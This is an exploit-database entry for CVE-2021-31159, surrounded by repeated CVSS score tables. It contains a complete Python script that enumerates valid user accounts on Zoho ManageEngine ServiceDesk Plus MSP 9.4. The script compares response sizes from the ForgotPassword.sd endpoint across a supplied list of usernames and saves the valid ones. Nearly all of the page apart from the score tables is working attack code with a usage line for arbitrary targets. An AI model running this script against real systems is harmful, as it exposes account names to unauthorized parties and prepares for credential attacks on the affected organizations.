Lucene search

K
zdtRicardo Ruiz1337DAY-ID-36436
HistoryJun 17, 2021 - 12:00 a.m.

Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration Exploit

2021-06-1700:00:00
Ricardo Ruiz
0day.today
39

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP 9.4 - User Enumeration 
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
	parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
	parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')	
	parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
	my_args = parser.parse_args()
	return my_args


def main():
	args = get_args()
	url = args.target
	domain = args.domain
	usersfile = args.usersfile
	outputfile = args.outputfile

	s = requests.session()
	s.get(url)
	resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
	incorrect_size = len(resp_incorrect.content)
	print("Incorrect size: %s"%(incorrect_size))

	correct_users = []
	users = open(usersfile).read().splitlines()
	for u in users:
			resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
			valid = (len(resp.content) != incorrect_size)
			if valid:
				correct_users.append(u)
			print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

	print("\nCorrect users\n")
	with open(outputfile, 'w') as f:
		for user in correct_users:
			f.write("%s\n" % user)
			print("- %s"%(user))

	print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
    main()

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N